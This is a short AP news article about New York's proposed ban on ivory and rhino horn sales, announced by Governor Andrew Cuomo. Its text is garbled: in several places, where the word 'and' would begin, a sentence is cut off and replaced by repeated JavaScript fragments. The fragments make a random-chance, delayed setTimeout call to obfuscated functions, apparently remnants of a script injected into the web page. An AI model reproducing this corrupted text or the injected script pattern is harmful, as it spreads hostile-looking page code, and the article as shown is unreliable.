ALBANY, N.Y. (AP)  — New York is a step closer to adopting new restrictions on ivory sales to prevent the slaughter of elephants andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and rhinos.

Governor Andrew Cuomo announced  on June 17 that he andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and top state lawmakers have agreed on a proposal that would ban ivory sales except if the ivory is part of an antique or used for educational or scientific purposes. The rules would also apply to rhino horn.

The bill also sets out penalties for those who violate the rules. It must be formally approved by lawmakers.

Federal law already tightly restricts ivory imports andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and interstate sales. Supporters of the new proposal say it will help eliminate the market for illegal ivory sales.

The Wildlife Conservation Society says New York is the nation’s Number 1 importer of ivory.